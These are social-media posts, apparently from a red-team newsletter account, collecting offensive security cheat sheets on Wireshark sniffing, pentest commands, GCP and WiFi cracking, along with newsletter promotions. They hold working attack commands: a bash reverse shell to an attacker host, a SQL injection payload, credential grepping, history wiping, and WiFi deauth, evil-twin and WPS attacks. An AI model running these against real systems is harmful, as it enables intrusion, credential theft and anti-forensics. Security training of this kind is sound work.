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📡 Wireshark for Red Teamers: Sniff, Analyze, Exploit 📡 Wireshark is not just a network monitoring tool—for red teamers; it's a weapon for reconnaissance, credential harvesting, and traffic manipulation. This guide covers stealthy packet analysis techniques to enhance offensive operations. 🔥 Key Wireshark Tactics for Red Teamers 1️⃣ Capturing Network Traffic Monitor all network traffic on an interface: tshark -i eth0 -w capture.pcap Filter for HTTP credentials (Basic Auth): http.authorization contains "Basic" 2️⃣ Sniffing Credentials & Sensitive Data Find FTP, SMB, and Telnet credentials: tcp.port == 21 || tcp.port == 139 || tcp.port == 23 Extract Kerberos tickets for Pass-the-Ticket attacks: kerberos.CNameString && ip.src == <target-ip> 3️⃣ MITM & Network Exploitation Capture ARP spoofing attacks: arp.duplicate-address-frame Filter DNS traffic for subdomain enumeration: dns.qry.name contains "target.com" 4️⃣ Exfiltration & C2 Detection Detect unusual ICMP tunnels used for data exfiltration: icmp && frame.len > 100 Monitor outbound encrypted C2 channels: tls.handshake.type == 1 && ip.dst != <known-IPs> 🛡 Defensive Mitigations ✅ Encrypt all sensitive traffic (TLS, VPNs, SSH over Telnet/FTP) ✅ Monitor for anomalous packet sizes & unusual data exfiltration ✅ Enable ARP spoofing and DNS attack detection ✅ Use network segmentation to limit lateral movement 💡 Red Team Pro Tip Wireshark is more than just a passive monitoring tool—it can reveal hidden backdoors, stolen credentials, and C2 traffic in real-time. Use it to blend in and extract valuable intelligence. What’s your favorite Wireshark filter for red teaming? Let’s discuss below! 👇 #RedTeam #Wireshark #PacketSniffing #CyberSecurity #PenTesting #NetworkExploitation #InfoSec #EthicalHacking

🔥 First off, thank you to all our subscribers for fueling the growth of one of the fastest-moving newsletters in offensive security. You're the reason this movement keeps growing. Here’s what’s waiting inside this week’s drop: 🔹 AI-Powered Red Team Tactics – From GANs to LSTMs, red teams are getting smarter. 🔹 Romance Scams Exposed – Wired investigates the emotional and financial toll of digital deception. 🔹 Gemini AI Hacked – Alleged source code leak raises serious questions about LLM security. 🔹 Red Teaming AI – The new frontline in defending intelligent systems. 🔹 150,000+ websites compromised via JS injection – a global-scale campaign you can’t ignore. 🔹 SplxAI raises $7M to automate LLM red teaming and kill prompt injection attacks. 🔹 Signal group chat leak – Even encrypted platforms have their weak points. 🛠️ Tool of the Week: Sn1per – All-in-one recon & vuln scanner for red teamers. 📖 Blog of the Week: Building an HTTP Server in Go – Elegant, lightweight ops tooling done right. 📰 Read the full edition: https://lnkd.in/dTY_f7n3 🎧 Listen to it on the go: https://lnkd.in/dAX3VxAd #RedTeam #CyberSecurity #AI #LLM #OpSec #PenTesting #ThreatIntel #CTI #Recon #Sn1per #Signal #SplxAI #Newsletter

Cloud Pentesting: Because the Perimeter Is Gone ☁️ The cloud changed the rules of engagement. Traditional defenses don’t apply when your target’s infrastructure lives in AWS, Azure, or GCP—and red teamers need to adapt fast. This Cloud Pentesting Cheatsheet is a battlefield guide to finding weak IAM policies, exposed storage, vulnerable APIs, and misconfigured services. Red Team Pro Tip In the cloud, identity is the new perimeter. Forget firewalls—misconfigured IAM policies and exposed keys are how attackers get in. Understand the shared responsibility model, then weaponize it. Which cloud provider do you think has the most overlooked weaknesses? Let’s discuss below. 👇 #RedTeam #CloudPentesting #AWS #Azure #GCP #CyberSecurity #EthicalHacking #InfoSec #PenTesting

🛠️ The Ultimate Pentesting Command Line Arsenal 🛠️ Red team operations thrive on speed and precision—and that starts with knowing the right command at the right time. This Pentesting Command Sheet is your go-to field reference for every phase of an attack: from recon and exploitation to persistence and cleanup. ⸻ 🔥 Command Categories Every Operator Must Master 1️⃣ Enumeration & Recon • Nmap Full Recon: nmap -sC -sV -T4 -A -Pn <target-ip> • Web Discovery: gobuster dir -u http://<target> -w wordlist.txt 2️⃣ Exploitation • Manual SQLi Testing: ' OR 1=1-- • Reverse Shell One-Liner (Bash): bash -i >& /dev/tcp/attacker-ip/4444 0>&1 3️⃣ Privilege Escalation • Linux SUID Hunt: find / -perm -4000 -type f 2>/dev/null 4️⃣ Credential Hunting • Linux: grep -r "password" /etc/ 5️⃣ Cleanup & Anti-Forensics • Bash History Wipe: history -c && unset HISTFILE 💡 Red Team Pro Tip Efficiency beats creativity when time is ticking. Master these commands, then adapt them on the fly when engagement pressure hits. Your shell is your weapon—train with it like one. Got a favorite one-liner or recon trick? Let’s compile the ultimate list together below. 👇 #RedTeam #PenTesting #CyberSecurity #CommandLine #EthicalHacking #PrivilegeEscalation #InfoSec #OSCP

OSCP: The Red Team Rite of Passage 🎯 The Offensive Security Certified Professional (OSCP) certification isn’t just a milestone—it’s a mindset shift. This guide is packed with field-tested tactics, enumeration flowcharts, exploitation techniques, and privilege escalation paths every red teamer needs to pass the exam—and win real-world engagements. ⸻ 🔥 What’s Inside the OSCP Playbook 1️⃣ Enumeration Flow Like a Pro • Use nmap, gobuster, nikto, and enum4linux in a structured recon chain. • Enumerate services and identify weak entry points before touching Metasploit. 2️⃣ Web & Service Exploitation • Manual SQLi, XSS, and file upload abuse. • Exploit RCEs, LFI, and CVEs with proof-of-concept tailoring. 3️⃣ Linux Privilege Escalation • SUID/GUID hunting: find / -perm -4000 -type f 2>/dev/null • Misconfigured cron jobs and writable scripts = root. 4️⃣ Windows Privilege Escalation • Use winPEAS, PowerUp, and DLL hijacking to elevate. • Don’t forget Unquoted Service Paths and AlwaysInstallElevated abuses. 5️⃣ Buffer Overflows • Custom exploit writing from fuzzing to shell execution. • Practice using Immunity Debugger, Mona.py, and pattern_create/offset. 6️⃣ Post-Exploitation & Reporting • Get persistence, loot creds, and maintain stealth. • Document every step—your report is your exploit write-up. ⸻ 💡 Red Team Pro Tip The OSCP isn’t about tool mastery—it’s about your ability to think like an adversary under pressure. Treat every exam box like a real-world target—and remember: enumeration wins wars. Who else here survived the OSCP gauntlet? Let’s trade war stories. 👇 #RedTeam #OSCP #PenTesting #EthicalHacking #CyberSecurity #PrivilegeEscalation #BufferOverflow #InfoSec #TryHarder

Web Attack Cheat Sheet: Red Team Tactics for Breaking the Modern Web 🌐 The web is full of weak spots—from exposed parameters to misconfigured APIs. This cheat sheet is a red teamer’s dream, packed with payloads, bypass tricks, and automation tips for exploiting the OWASP Top 10 and beyond. 💡 Red Team Pro Tip Start with known parameters and test for HTTP method tampering, cookie manipulation, and header injections. Sometimes the most overlooked endpoints are the most vulnerable. What’s your favorite web attack vector? Let’s break the internet—ethically, of course. 👇 #RedTeam #WebHacking #CyberSecurity #PenTesting #XSS #SQLInjection #BugBounty #InfoSec #EthicalHacking

☁️ Google Cloud Pentesting: Exploiting the Cloud Like a Red Teamer ☁️ As more organizations shift to Google Cloud (GCP), misconfigurations, weak IAM policies, and unprotected APIs create critical attack surfaces. This guide walks you through Google Cloud penetration testing techniques, from enumeration to privilege escalation. ⸻ 🔥 Key GCP Pentesting Techniques 1️⃣ GCP Recon & Enumeration • Discover publicly exposed resources: gcloud asset search-all-resources List IAM roles & permissions: gcloud projects get-iam-policy <project-id> 2️⃣ Identifying Weak IAM Policies • Check for overly permissive roles: gcloud iam roles describe <role-name> Privilege Escalation via Service Accounts: gcloud auth activate-service-account --key-file=service-key.json 3️⃣ Cloud Storage Attacks • Find publicly accessible buckets: gcloud storage buckets list Download unprotected sensitive files: gsutil cp gs://<bucket-name>/sensitive-data.txt . 4️⃣ Compute Engine Exploitation • Enumerate running VM instances: gcloud compute instances list SSH into instances with weak permissions: gcloud compute ssh <instance-name> --zone <zone> 5️⃣ Exploiting Cloud Functions & APIs • Find misconfigured APIs that expose sensitive data: gcloud functions list --format=json Invoke functions with weak authentication: gcloud functions call <function-name> 🛡 Defensive Mitigations ✅ Restrict IAM roles to least privilege access ✅ Harden API security with authentication & authorization checks ✅ Monitor bucket permissions and disable public access where unnecessary ✅ Enable logging & auditing to detect abnormal activities ⸻ 💡 Red Team Pro Tip Cloud environments introduce new attack vectors—privilege escalation, API abuse, and data exfiltration are the biggest threats. GCP misconfigurations are everywhere—test for them! What’s your go-to cloud pentesting technique? Let’s discuss below! 👇 #RedTeam #CloudPentesting #GoogleCloud #CyberSecurity #PenTesting #EthicalHacking #CloudSecurity #InfoSec

🚨 Weekly Red Team Brief – Edition 8 is LIVE! 🚨 🔴 Red Teamers, Your support fuels our mission to deliver the latest in offensive security, AI, and cybersecurity intelligence every week. 🚀 Here’s what’s inside this edition: 🔹 CISA Staff Layoffs – What does this mean for U.S. cybersecurity? 🔹 AI vs. Penetration Testers – Is AI taking over red teaming? 🔹 3,600 Smileys as Passwords? – Can emojis improve security? 🤔 🔹 Kali Linux Deep Dive – The hacking distro that changed cybersecurity 🔹 XWorm Malware & Steganography – Hiding threats inside images 🔹 Tool of the Week: Empire – A powerful post-exploitation framework 🔹 Blog of the Week: Eva Benn, Chief of Staff at Microsoft Red Team, on leading cybersecurity strategies 📢 Read the full edition: [🔗 Link to Substack: https://lnkd.in/dAkFN-Au] 🎙️ Prefer listening? Tune in to our podcast: [🔗 Spotify link: https://lnkd.in/dNfZS24r] 👀 What’s your take on this week’s top stories? Let’s discuss below! ⬇️ #RedTeam #CyberSecurity #AI #Pentesting #ThreatIntel 🚀

🌐 Computer Networking 101: Red Team Essentials for Exploitation & Defense Every red team engagement starts with understanding the network. Whether you’re sniffing traffic, pivoting between subnets, or crafting stealthy exploits, mastering computer networking is a non-negotiable skill for any ethical hacker.

🛜 WiFi Pentesting with Aircrack-ng: Cracking Wireless Networks Like a Red Teamer WiFi networks are prime targets for attackers, and Aircrack-ng is one of the most powerful tools to analyze, capture, and crack wireless encryption. Whether you’re testing WEP, WPA, or WPA2, this guide walks you through real-world WiFi exploitation. 🔥 Key WiFi Pentesting Techniques 1️⃣ Enable Monitor Mode • Identify WiFi networks & clients in range: airmon-ng start wlan0 airodump-ng wlan0mon 2️⃣ Capturing WPA2 Handshakes • Listen for handshakes to start password cracking: airodump-ng --bssid <target-BSSID> -c <channel> -w capture wlan0mon Deauthenticate clients to force reconnection and capture a handshake: aireplay-ng -0 10 -a <target-BSSID> wlan0mon 3️⃣ Cracking WPA2 Passwords • Use dictionary attacks to crack captured handshakes: aircrack-ng -w rockyou.txt -b <target-BSSID> capture.cap 4️⃣ Evil Twin Attack (Captive Portal Phishing) • Create a fake access point to trick users into entering credentials: airbase-ng -a <target-BSSID> -e "Free WiFi" wlan0mon • Redirect traffic to a fake login page and steal credentials. 5️⃣ WPS Pixie Dust Attack (Quick WPA2 Crack) • Exploit vulnerable WPS networks for instant access: reaver -i wlan0mon -b <target-BSSID> -vv 🛡 Defensive Mitigations ✅ Disable WPS to prevent brute-force attacks ✅ Use strong, non-dictionary WPA2 passwords ✅ Enable MAC address filtering (not foolproof but adds another layer) ✅ Monitor for deauth attacks and rogue access points ⸻ 💡 Red Team Pro Tip WiFi attacks aren’t just about password cracking—combining MITM attacks, credential phishing, and rogue APs makes wireless exploitation much more effective and stealthy. What’s your favorite WiFi attack method? Let’s discuss below! 👇 #RedTeam #WiFiHacking #CyberSecurity #AircrackNG #PenTesting #EthicalHacking #WirelessExploitation #InfoSec